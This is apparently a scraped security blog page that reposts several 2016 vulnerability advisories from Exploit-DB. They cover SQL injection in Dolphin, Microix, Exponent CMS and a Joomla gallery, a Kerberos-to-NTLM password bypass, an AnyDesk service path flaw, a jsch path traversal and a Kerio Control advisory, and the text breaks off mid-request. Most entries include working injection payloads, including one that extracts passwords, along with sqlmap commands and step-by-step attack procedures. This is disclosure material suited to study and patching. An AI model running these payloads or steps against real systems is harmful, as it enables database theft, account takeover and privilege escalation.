# Exploit Title: Dolphin 7.3.0 Error Based SQL Injection
# Date: 20-09-2016
# Software Link: https://www.boonex.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
`$_REQUEST['key']` is not escaped inside `actions.inc.php`.
http://security.szurek.pl/dolphin-730-error-based-sql-injection.html
2. Proof of Concept
http://dolphin/flash/XML.php?module=chat&action=RayzSetMembershipSetting&id=1&_t=41920&key=' UNION select 1, exp(~(select*from(SELECT Password FROM profiles WHERE ID=1)x)); -- a
which is rendered as:
Database access error. Description: DOUBLE value is out of range in 'exp(~((select '%password_here%' from dual)))'<?xml version='1.0' encoding='UTF-8'?><ray><result value="Error saving setting." status="failed" /></ray>
3. Solution:
Update to version 7.3.1
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863291134
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Microix timesheet module SQL Injection
# Google Dork: "Copyright by Microix" inurl:"/microixcloud/"
# Date: 2016-09-06
# Software Link: http://www.microix.net/workflow-modules/timesheet-module/
# Exploit Author: Anthony Cole
# Contact: http://twitter.com/acole76
# Website: http://www.3fforensics.com/
# CVE:
# Category: webapps
1. Description
Microix timeclock is vulnerable to a SQL injection. The field that is injectable is:
ctl00$ctl00$ASPxCallbackPanel1Root$ASPxSplitter1$Content$ASPxSplitter2$Content2$ASPxRoundPanel1$ASPxCallbackPanel1$txtUserIDOrBadgeID
Initial contact attempt: 08/22/2016
2nd attempt: 08/29/2016
3rd attempt: 09/05/2016
4th attempt: 09/21/2016
2. Proof of Concept
POST /microixcloud/ HTTP/1.1
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=&ctl00%24ctl00%24ASPxCallbackPanel1Root%24ASPxSplitter1%24Content%24ASPxSplitter2%24Content2%24ASPxRoundPanel1%24ASPxCallbackPanel1%24txtUserIDOrBadgeID=SQLi&ctl00%24ctl00%24ASPxCallbackPanel1Root%24ASPxSplitter1%24Content%24ASPxSplitter2%24Content2%24ASPxRoundPanel1%24ASPxCallbackPanel1%24txtPassword=asdsadsad&__CALLBACKID=ctl00%24ctl00%24ASPxCallbackPanel1Root%24ASPxSplitter1%24Content%24ASPxSplitter2%24Content2%24ASPxRoundPanel1%24ASPxCallbackPanel1&__CALLBACKPARAM=c0%3ALogin
3. Solution:
None
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=867
In issue 810 we pointed out to Symantec that they hadn't updated their unrar based unpacker for years, and it was vulnerable to dozens of publicly documented flaws.
I had expected Symantec to rebase on 5.4.2 (the latest version as of this writing), but they appear to have just backported fixes for the few issues I sent them.
Here are two known bugs in unrar that are fixed upstream, but not in Symantec's ancient code. If they continue to refuse to rebase, this might take a few iterations to shake the bugs out. Sigh.
As in issue 810, these are remote code execution vulnerabilities at the highest possible privilege level.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40405.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=866
The following crash was observed in Microsoft PowerPoint 2010 running under Windows 7 x86 with application verifier enabled.
File versions are:
mso.dll: 14.0.7166.5000
ppcore.dll: 14.0.7168.5000
Attached crashing file: 3525170180.ppt
Crashing context:
eax=1979aea0 ebx=1638bb50 ecx=1979aea0 edx=0024e340 esi=00000000 edi=00000000
eip=663088d8 esp=0024e330 ebp=0024e330 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
ppcore!DllGetLCID+0x18205e:
663088d8 ff7110 push dword ptr [ecx+10h] ds:0023:1979aeb0=????????
Call Stack:
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0024e330 663088cc 1979aea0 0024e46c 00000000 ppcore!DllGetLCID+0x18205e
0024e350 663072cb 0024e46c e437cde4 00000000 ppcore!DllGetLCID+0x182052
0024e4c8 662fcbda 1cd76fe8 0024e4f0 0024e574 ppcore!DllGetLCID+0x180a51
0024e598 662fc9ee 00000000 0024e5e0 0024e63e ppcore!DllGetLCID+0x176360
0024e5ac 662e82fd 0024e5e0 0024e63e e4362e14 ppcore!DllGetLCID+0x176174
00250738 662e7c88 17802ef8 073def40 1638bb50 ppcore!DllGetLCID+0x161a83
00250774 6619d3e9 002508a4 00250890 1638bb50 ppcore!DllGetLCID+0x16140e
Disassembly:
663088d2 55 push ebp
663088d3 8bec mov ebp,esp
663088d5 8b4d08 mov ecx,dword ptr [ebp+8]
663088d8 ff7110 push dword ptr [ecx+10h] ds:0023:1979aeb0=????????
The ecx register is pointing to invalid memory in this crash. Looking at the call stack and disassembly above we can see that this value was passed in as the first argument to the crashing function. The calling function obtained this value from a pointer in stack memory at 0x0024e46c + 0x10:
0:000> dd poi(0024e46c)
1cb7cfa0 00000000 1cb7cfa0 00000002 19045ea0
1cb7cfb0 1979aea0 00000000 00000000 00000000
We can verify that this is allocated memory and find the function that allocated it:
(address changed between runs and is now 0x1cb7cfa0)
0:000> !heap -p -a 1cb7cfa0
address 1cb7cfa0 found in
_DPH_HEAP_ROOT @ 1261000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1d2b14e0: 1cb7cfa0 5c - 1cb7c000 2000
6f748e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
7719616e ntdll!RtlDebugAllocateHeap+0x00000030
7715a08b ntdll!RtlpAllocateHeap+0x000000c4
77125920 ntdll!RtlAllocateHeap+0x0000023a
72eaad1a vrfcore!VerifierSetAPIClassName+0x000000aa
701f16ac vfbasics+0x000116ac
641a6cca mso!Ordinal149+0x000078e0
66118132 ppcore!PPMain+0x00001244
662fcbda ppcore!DllGetLCID+0x00176360
662fc9ee ppcore!DllGetLCID+0x00176174
662e82fd ppcore!DllGetLCID+0x00161a83
Setting breakpoints on ppcore!DllGetLCID+0x00176360 and subsequent memory write access breakpoints at eax+0x10 (there are multiple hits) eventually resulted in the same file crashing with a different context:
eax=00000000 ebx=17c2cb50 ecx=00000000 edx=00000000 esi=1a36eea0 edi=1a36eea0
eip=6625a361 esp=0022e1d0 ebp=0022e1f8 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210293
ppcore!DllGetLCID+0xd3ae7:
6625a361 8b4870 mov ecx,dword ptr [eax+70h] ds:0023:00000070=????????
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0022e1f8 662d7d30 661813c4 ec3f4e62 00000000 ppcore!DllGetLCID+0xd3ae7
0022e220 663088e2 00000000 661813c4 0022e250 ppcore!DllGetLCID+0x1514b6
0022e230 663088cc 1a36eea0 0022e36c 00000000 ppcore!DllGetLCID+0x182068
0022e250 663072cb 0022e36c ec3f4f8a 00000000 ppcore!DllGetLCID+0x182052
0022e3c8 662fcbda 1c7a4fe8 0022e3f0 0022e474 ppcore!DllGetLCID+0x180a
Given the different crashing contexts related to timing when breakpoints are set I suspect this to be a heap corruption bug that Application Verifier does not detect.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40406.zip
# Exploit Title: Kerberos Security Feature Bypass Vulnerability (Kerberos to NTLM Fallback)
# Date: 22-09-2016
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 Professional (x32/x64) and Windows 10 x64
# CVE : CVE-2016-3237
# Category: Local Exploits & Privilege Escalation
SPECIAL CONFIG: Standard Domain Member configuration with password caching enabled (default), BitLocker enabled without PIN or USB key.
REPRODUCE:
Prerequisites:
- Standard Windows 7/10 Fully patched (up until 08/08/2016) and member of an existing domain.
- BitLocker enabled without PIN or USB key.
- Password Caching enabled
- Victim has cached credentials stored on the system from previous logon.
This vulnerability has a similar attack path as MS15-122 and MS16-014 but bypasses the published remediation.
STEP 1: Obtain physical access to a desktop or laptop with the above configuration.
STEP 2: Boot system and determine FQDN of the device. (example. CLIENT.domain.local), this can be obtained by monitoring the network broadcast communication, which the system sends prior to loggin in. The username can be extracted from the loginscreen (E.g USER1)
STEP 3: Create Active Directory for the domain you obtained in STEP 2 (domain.local).
STEP 4: Create User with similar name as the previously logged in user. (E.g domain\USER1), and force user to change password upon next login.
STEP 5: Login on the target machine and proceed to the change login screen.
STEP 6: Disable the following (Inbound) Firewall Rules:
- Kerberos Key Distribution Center - PCR (TCP and UDP)
- Kerberos Key Distribution Center (TCP and UDP)
STEP 7: Change the password. (Changing Password screen will appear to hang)
STEP 8: Wait 1 minute before re-enabling the firewall rules defined in STEP 6
STEP 9: Enable firewall rules again and after a few seconds the password should be successfully changed.
STEP 10: Message "Your Password has been changed" is displayed, followed by the following error message "The trust relationship between this workstation and the primary domain failed."
STEP 11: Disconnect Target system's network connection.
STEP 12: Login with the new changed password.
IMPACT: Access gained to the information stored to the target system without previous knowledge of password or any other information. This could also be used to elevate your privileges to local Administrator.
Reference: Video PoC/Demo can be found here: https://www.youtube.com/watch?v=4vbmBrKRZGA
Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com)
=============================================
MGC ALERT 2016-005
- Original release date: September 09, 2016
- Last revised: September 20, 2016
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2016-7400
=============================================
I. VULNERABILITY
-------------------------
Blind SQL Injection in Exponent CMS <= v2.3.9
II. BACKGROUND
-------------------------
Exponent CMS is a free, open source, open standards modular enterprise
software framework and content management system (CMS) written in the
programming language PHP.
III. DESCRIPTION
-------------------------
This bug was found using the portal in the index.php page.
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.
It is possible to inject SQL code in the "index.php" page
"/exponent/index.php".
IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from Blind SQL
injection and Time Based SQL Injection.
Blind SQL Injection POC:
/exponent/index.php'%20or%201%3d1--%20
/exponent/index.php'%20or%201%3d2--%20
Time Based SQL Injection POC:
/exponent/index.php'%20OR%20SLEEP(1)--%20 (2 seconds of response)
/exponent/index.php'%20OR%20SLEEP(30)--%20 (30 seconds of response)
V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.
VI. SYSTEMS AFFECTED
-------------------------
Exponent CMS <= v2.3.9
VII. SOLUTION
-------------------------
Vendor fix the vulnerability:
http://www.exponentcms.org/news/updated-patches-released-for-v2-1-4-and-v2-2-3-1473726129-0.50310400
VIII. REFERENCES
-------------------------
http://www.exponentcms.org/
IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).
X. REVISION HISTORY
-------------------------
September 09, 2016 1: Initial release
September 20, 2016 2: Revision to send to lists
XI. DISCLOSURE TIMELINE
-------------------------
September 09, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
September 09, 2016 2: Send to vendor
September 12, 2016 3: Vendor fix vulnerability
September 20, 2016 4: Send to the Full-Disclosure lists
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
# Exploit Title: AnyDesk 2.5.0 Unquoted Service Path Elevation of Privilege
# Date: 22/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://anydesk.com
# Software Link: http://anydesk.com/download
# Version: Software Version 2.5.0
# Tested on: Windows 10 Professional x64, Windows XP SP3 x86, Windows Server 2008 R2 x64
# Shout-out to carbonated and ozzie_offsec
1. Description:
The Anydesk installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.
2. Proof
C:\>sc qc anydesk
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: anydesk
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\AnyDesk\AnyDesk.exe --service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : AnyDesk Service
DEPENDENCIES : RpcSs
SERVICE_START_NAME : LocalSystem
3. Exploit:
A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725
Version: 0.3
Date: Aug 31st, 2016
Complete Proof of Concept:
https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40411.zip
Tag: jsch recursive sftp get client-side windows path traversal
Overview
--------
Name: jsch
Vendor: jcraft
References: * http://www.jcraft.com/jsch/ [1]
Version: 0.1.53 [2]
Latest Version: 0.1.54 [2]
Other Versions: <= 0.1.53
Platform(s): windows
Technology: java
Vuln Classes: CWE-22 Improper Limitation of a Pathname to a Restricted
Directory ('Path Traversal')
Origin: remote
Min. Privs.: post auth
CVE: CVE-2016-5725
Description
---------
quote website [1]
> JSch is a pure Java implementation of SSH2. JSch allows you to connect
to an sshd server and use port forwarding, X11 forwarding, file transfer,
etc., and you can integrate its functionality into your own Java programs.
JSch is licensed under BSD style license.
We have recognized that the following applications have used JSch.
* Ant(1.6 or later).
JSch has been used for Ant's sshexec and scp tasks.
* Eclipse(3.0).
Our Eclipse-CVSSSH2 plug-in has been included in Eclipse SDK 3.0.
This plug-in will allow you to get ssh2 accesses to remote CVS
repository
by JSch.
* NetBeans 5.0(and later)
* Jakarta Commons VFS
* Maven Wagon
* Rational Application Devloper for WebSphere Software
* HP Storage Essentials
* JIRA
* Trac WikiOutputStreamPlugin
Summary
-------
A malicious sftp server may force a client-side relative path traversal in
jsch's implementation for recursive sftp-get allowing the server to write
files outside the clients download basedir with effective permissions of the
jsch sftp client process.
* affects recursive get, i.e. sftp <host>:</path>/* .
* post-auth
* file overwrite capability depends on the client specified mode:
`ChannelSftp.get(...,mode==ChannelSftp.OVERWRITE)`
* windows only
see attached PoC
Details
-------
* examples/Sftp.java::main::
c.get(p1, p2, monitor, mode);
* ChannelSftp.java::get(String src, String dst,
SftpProgressMonitor monitor, int mode)
* ChannelSftp.java::_get(src,dst,monitor,mode,skip)
Source
------
see ref github.
Proof of Concept
----------------
see ref github.
poc:
1. run `poc.py` to spawn the ssh/sftp stub listening for new connections
on `0.0.0.0:3373`:
poc.py --host=0.0.0.0 --port=3373 -l DEBUG -k test_rsa.key
INFO:__main__:[cve-2016-5725] sftp server starting...
INFO:__main__:* generating fake files
INFO:__main__:** /..\..\totally_malicious_script
INFO:__main__:* setting up sftp server
INFO:__main__:* monkey patching: chattr
INFO:__main__:* monkey patching: list_folder
INFO:__main__:* monkey patching: mkdir
INFO:__main__:* monkey patching: open
INFO:__main__:* monkey patching: remove
INFO:__main__:* monkey patching: rename
INFO:__main__:* monkey patching: rmdir
INFO:__main__:* monkey patching: stat
INFO:__main__:* monkey patching: symlink
INFO:__main__:* starting sftp server...
0.0.0.0 3373
2. connect to `poc.py` using jsch sftp-client example `examples/Sftp.java`
(any user, user password):
sftp>
3. issue a recursive get (any remote folder will do for the PoC) to store
all files from `remote:fancyfolder` to `.`.
Note: output may contain additional debug information not enabled by default
in `examples/Sftp.java`
Note: pwd is `<path>\workspace-ee\jsch`
Note: local output folder is `.` (`<path>\workspace-ee\jsch`)
sftp> get fancyfolder/* .
3. client connects to `poc.py` with subsystem sftp
DEBUG:paramiko.transport:starting thread (server mode): 0x350afd0L
DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.0
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-JSCH-0.1.53
INFO:paramiko.transport:Connected (version 2.0, client JSCH-0.1.53)
DEBUG:paramiko.transport:kex algos:[u'ecdh-sha2-nistp256', ...
DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1
DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
DEBUG:paramiko.transport:MAC agreed: hmac-md5
DEBUG:paramiko.transport:Compression agreed: none
DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo ...
DEBUG:paramiko.transport:Switch to new keys ...
DEBUG:paramiko.transport:Auth request (type=none) ...
INFO:paramiko.transport:Auth rejected (none).
DEBUG:paramiko.transport:Auth request (type=password) ...
INFO:paramiko.transport:Auth granted (password).
DEBUG:paramiko.transport:[chan 0] Max packet in: 32768 bytes
DEBUG:paramiko.transport:[chan 0] Max packet out: 32768 bytes
DEBUG:paramiko.transport:Secsh channel 0 (session) opened.
DEBUG:paramiko.transport:Starting handler for subsystem sftp
4. jsch sftp-client command `get fancyfolder/* .` calls
`opendir(/fancyfolder)`
on the PoC sftp server which responds with a fake filelist for
`fancyfolder`
listing the file `/..\..\totally_malicious_script`.
DEBUG:paramiko.transport.sftp:[chan 0] Started sftp server on channel
<paramiko.Channel 0 (open) window=2097152 -> <paramiko.Transport
at 0x350afd0L (cipher aes128-ctr, 128 bits) (active; 1 open
channel(s))>> DEBUG:paramiko.transport.sftp:[chan 0] Request: realpath
DEBUG:paramiko.transport.sftp:[chan 0] Request: opendir INFO:__main__:LIST
(u'/fancyfolder'): [<SFTPAttributes: [ size=44 uid=0
gid=9 mode=0100666 atime=1472758892 mtime=1472758897 ]>]
DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir
DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir
DEBUG:paramiko.transport.sftp:[chan 0] Request: close
5. jsch sftp-client recursively downloads the files listed in the response
to `opendir(/fancyfolder)` (sftp-get) by
calling `stat`, `open` and `read` on the file.
a) jsch sftp-client calls `stat` on the filename as returned by the servers
response to `opendir` (with traversal):
`stat(/fancyfolder//..\\..\\totally_malicious_script)`
b) the sftp-server (PoC) returns file attributes for
`totally_malicious_script`
(with traversal)
c) jsch sftp-client requests file `open` on the path (with traversal):
`open(/fancyfolder//..\..\totally_malicious_script)`
d) jsch sftp-client builds destination path by concatenating the destination
folder ( `<path>\workspace-ee\jsch\.` ) with the server provided filename
`/..\..\totally_malicious_script` stripping any data before and including
`/` of the filename, then receives the remote files contents: `
<path>\workspace-ee\jsch\.\..\..\totally_malicious_script`
e) the resulting sftp-client local destination path
`dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script` is outside
the basedir `<path>\workspace-ee\jsch\.`
sftp-server (PoC)
DEBUG:paramiko.transport.sftp:[chan 0] Request: stat INFO:__main__:STAT
(u'/fancyfolder//..\\..\\totally_malicious_script')
INFO:__main__:STAT - returning: totally_malicious_script
INFO:__main__:** /..\..\totally_malicious_script
DEBUG:paramiko.transport.sftp:[chan 0] Request: open
INFO:__main__:OPEN: /fancyfolder//..\..\totally_malicious_script
DEBUG:paramiko.transport.sftp:[chan 0] Request: read
DEBUG:paramiko.transport.sftp:[chan 0] Request: read
DEBUG:paramiko.transport.sftp:[chan 0] Request: read
DEBUG:paramiko.transport.sftp:[chan 0] Request: close
sftp-client (jsch)
dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script
_get: /fancyfolder//..\..\totally_malicious_script,
java.io.FileOutputStream@7ccf3329
sftp>
6. downloaded file is stored in server controlled relative path on client
tintin@testbox ~<path>/workspace-ee/jsch $ ls ../../total*
../../totally_malicious_script
Notes
-----
* the PoC is a slightly modified version `stub_sftp.py` shipped with
paramiko/tests [4].
* we've seen ssh bots in the wild using jsch probing for weak ssh passwords.
Vendor response: see [5]
References
----------
[1] http://www.jcraft.com/jsch/
[2] https://sourceforge.net/projects/jsch/files/?source=navbar
[3] https://sourceforge.net/projects/jsch/files/jsch/0.1.53
[4] https://github.com/paramiko/paramiko/blob/master/tests/stub_sftp.py
[5] http://www.jcraft.com/jsch/ChangeLog
Title: Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla
Author: Larry W. Cashdollar, @_larry0
Date: 2016-09-15
Download Site: http://huge-it.com/joomla-video-gallery/
Vendor: www.huge-it.com, fixed v1.1.0
Vendor Notified: 2016-09-17
Vendor Contact: info@huge-it.com
Description: A video slideshow gallery.
Vulnerability:
The following code does not prevent an unauthenticated user from injecting SQL into functions located in ajax_url.php.
Vulnerable Code in : ajax_url.php
11 define('_JEXEC',1);
12 defined('_JEXEC') or die('Restircted access');
.
.
.
28 if($_POST['task']=="load_videos_content"){
29
30 $page = 1;
31
32
33 if(!empty($_POST["page"]) && is_numeric($_POST['page']) && $_POST['page']>0){
34 $paramssld='';
35 $db5 = JFactory::getDBO();
36 $query5 = $db->getQuery(true);
37 $query5->select('*');
38 $query5->from('#__huge_it_videogallery_params');
39 $db->setQuery($query5);
40 $options_params = $db5->loadObjectList();
41 foreach ($options_params as $rowpar) {
42 $key = $rowpar->name;
43 $value = $rowpar->value;
44 $paramssld[$key] = $value;
45 }
46 $page = $_POST["page"];
47 $num=$_POST['perpage'];
48 $start = $page * $num - $num;
49 $idofgallery=$_POST['galleryid'];
50
51 $query = $db->getQuery(true);
52 $query->select('*');
53 $query->from('#__huge_it_videogallery_videos');
54 $query->where('videogallery_id ='.$idofgallery);
55 $query ->order('#__huge_it_videogallery_videos.ordering asc');
56 $db->setQuery($query,$start,$num);
CVE-2016-1000123
Exploit Code:
aC/ $ sqlmap -u 'http://server/components/com_videogallerylite/ajax_url.php' --data="page=1&galleryid=*&task=load_videos_content&perpage=20&linkbutton=2" --level=5 --risk=3
aC/ .
aC/ .
aC/ .
aC/ (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
aC/ sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:
aC/ ---
aC/ Parameter: #1* ((custom) POST)
aC/ Type: error-based
aC/ Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
aC/ Payload: page=1&galleryid=-3390 OR 1 GROUP BY CONCAT(0x716b766271,(SELECT (CASE WHEN (2575=2575) THEN 1 ELSE 0 END)),0x7170767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&task=load_videos_content&perpage=20&linkbutton=2
aC/
aC/ Type: AND/OR time-based blind
aC/ Title: MySQL >= 5.0.12 time-based blind - Parameter replace
aC/ Payload: page=1&galleryid=(CASE WHEN (5952=5952) THEN SLEEP(5) ELSE 5952 END)&task=load_videos_content&perpage=20&linkbutton=2
aC/ ---
aC/ [19:36:55] [INFO] the back-end DBMS is MySQL
aC/ web server operating system: Linux Debian 8.0 (jessie)
aC/ web application technology: Apache 2.4.10
aC/ back-end DBMS: MySQL >= 5.0.12
aC/ [19:36:55] [WARNING] HTTP error codes detected during run:
aC/ 500 (Internal Server Error) - 2714 times
aC/ [19:36:55] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4'
aC/
aC/ [*] shutting down at 19:36:55
Advisory: http://www.vapidlabs.com/advisory.php?v=169
SEC Consult has also released a blog post describing the attack scenarios
of the vulnerabilities within this advisory in detail and a video which
shows the remote attack. Exploit code has been developed as well but will
not be released for now.
Blog:
http://blog.sec-consult.com/2016/09/controlling-kerio-control-when-your.html
Video:
https://www.youtube.com/watch?v=y_OWz25sHMI
SEC Consult Vulnerability Lab Security Advisory < 20160922-0 >
=======================================================================
title: Potential backdoor access through multiple vulnerabilities
product: Kerio Control Unified Threat Management
vulnerable version: <9.1.3, verified in version 9.1.0 build 1087 and 9.1.1
build 1324
fixed version: 9.1.3 (partially fixed, see vendor statement below)
CVE number: -
impact: critical
homepage: http://www.kerio.com/
found: 2016-08-24
by: R. Freingruber (Office Vienna)
R. Tavakoli (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Protect your network from viruses, malware and malicious activity
with Kerio Control, the easy-to-administer yet powerful all-in-one
security solution.
Kerio Control brings together next-generation firewall capabilities -
including a network firewall and router, intrusion detection and
prevention (IPS), gateway anti-virus, VPN, and web contentand
application filtering. These comprehensive capabilities and unmatched
deployment flexibility make Kerio Control the ideal choice for small
and mid-sized businesses."
Source: http://www.kerio.com/products/kerio-control
Business recommendation:
------------------------
By combining the vulnerabilities documented in this advisory an attacker
can fully compromise a network which uses the Kerio Control appliance for
protection.
The attacker can trick a victim to visit a malicious website which then conducts
the internal attack. The attacked victim must be logged in or weak credentials
must be configured which can be found with a bruteforce attack.
The attacker will gain a reverse root shell from the Internet to the internal
Kerio Control firewall system. Moreover, it's possible that an internal attacker
uses the described vulnerabilities to escalate his privileges (low privileged
account to full root shell) to steal credentials from other users on the UTM
appliance.
Most vulnerabilities (RCE, CSRF bypasses, XSS, Heap Spraying) were found
in just two PHP scripts. Both scripts are not referenced by any other
PHP script nor by any binary on the system.
Both scripts contain a different(!), seemingly deliberate(?) CSRF bypass
which make the vulnerabilities exploitable from the Internet to obtain a
reverse root shell.
SEC Consult recommends not to use Kerio Control until a thorough security
review has been performed by security professionals and all identified
issues have been resolved.
Vulnerability overview/description:
-----------------------------------
1) Unsafe usage of the PHP unserialize function and outdated PHP version leads
to remote-code-execution
An authenticated user (standard user or administrator) can control data, which
gets later unserialized. Kerio Control uses PHP 5.2.13 which was released on
2010-02-25. This version is more than 6 years old and several bugs were found
in the meantime within the unserialize function. The following CVE numbers
are just some examples for vulnerabilities in unserialize which lead to remote
code execution:
-) CVE-2014-8142
-) CVE-2014-3515
-) CVE-2015-0231
-) CVE-2015-6834
-) CVE-2016-5771
-) CVE-2016-5773
PHP 5.2.13 is especially affected by CVE-2014-3515. This vulnerability uses a
type confusion attack to trigger a use-after-free vulnerability. It can be used
to read data and get full code execution. In the case of Kerio Control the
result of unserialize is not reflected back to the attacker. It's therefore not
possible to read memory from the stack or heap (e.g. to bypass ASLR).
Nevertheless, SEC Consult developed a fully working and reliable (blind) exploit
for this vulnerability which spawns a reverse root shell to the Kerio Control
system.
For this exploit a user account is required. However, it's also possible to
conduct the attack via the Internet because the CSRF (Cross Site Request
Forgery) check can be bypassed (see below).
An attacker can use this vulnerability to break into a company network via the
Internet by tricking a logged in user to visit a malicious website. Even if the
user is currently not logged in the attacker can start a bruteforce attack to
obtain valid credentials to conduct the attack.
2) PHP script allows heap spraying
One of the PHP scripts allows the allocation of memory inside the main binary
(winroute) of Kerio Control. Winroute contains the code of most services
(e.g. the webserver, PHP, network related functionality, ...).
The memory will not be freed after finishing the request and can therefore be
used to spray payloads to the whole memory space.
This vulnerability was used in the overall exploit to defeat ASLR.
Please bear in mind that it's very likely that an attacker can write a working
exploit without heap spraying. Fixing this vulnerability would therefore not
prevent the exploitation of the remote code execution vulnerability.
For example, the information disclosure vulnerability from this advisory can
be used to bypass ASLR as well. This would eliminate the need of heap spraying.
3) CSRF Protection Bypass
The PHP scripts contain code to protect against CSRF (Cross Site Request
Forgery) attacks. Because of the wrong usage of PHP binary
operations and comparisons it's possible to bypass this check. That means
that an attacker can trigger requests from other websites which will be handled
by Kerio Control. This vulnerability allows to exploit the remote code
execution vulnerability from the Internet to break into a network.
4) Webserver running with root privileges
The main binary (which contains the webserver and PHP) runs with root
privileges.
Kerio told SEC Consult that this vulnerability will not be fixed. SEC
Consult strongly recommended otherwise.
5) Reflected Cross Site Scripting (XSS)
Kerio Control does not properly encode parameters which are reflected on the
website. This leads to cross site scripting vulnerabilities.
An attacker can abuse these vulnerabilities to modify the website or do actions
in the context of the attacked user.
6) Missing memory corruption protections
The main binary (winroute) is not compiled as position-independent executable
(PIE). This allowed the use of ROP (return-oriented-programming) code to
bypass the not executable heap. Moreover, the stack is per default marked as
executable, but the exact location of the stack is randomized by ASLR.
7) Information Disclosure leads to ASLR bypass
One of the PHP scripts leaks pointers to the stack and heap.
This can be abused by attackers to bypass ASLR.
Because stacks are marked as executable an attacker can therefore easily bypass
ASLR and DEP/NX.
8) Remote Code Execution as administrator
Nearly a year ago on 2015-10-12 Raschin Tavakoli reported a remote code
execution vulnerability in the administrative web interface in the upgrade
functionality. This vulnerability is still unfixed, only the associated XSS
vulnerability was fixed. However, an attacker can still exploit it from the
Internet, e.g. by abusing the XSS vulnerability described in this advisory
(where the CSRF check can be bypassed).
With this vulnerability an attacker can gain a reverse root shell on
Kerio Control again if a logged in administrator visits a malicious website
on the Internet.
More information can also be found in the old advisory:
https://www.exploit-db.com/exploits/38450/
9) Login not protected against brute-force attacks
There are no bruteforce protections in place for the login.
If an unauthenticated victim visits an attacker's website, the attacker can
start a bruteforce attack to obtain valid credentials to execute the
remote code execution exploit. Via image-loading the attacker can detect if
the current credentials are valid (without violating SOP).
Proof of concept:
-----------------
1) Unsafe usage of the PHP unserialize function and outdated PHP version leads
to remote-code-execution
The following request can be used to set the unserialize data. In this example
a faked string is used which points to 0xffffffff (kernel memory). Unserializing
it will therefore crash the remote webserver (the winroute process).
POST /set.php HTTP/1.1
Host: $IP:4081
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: SESSION_CONTROL_WEBIFACE=<valid session ID>;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 730
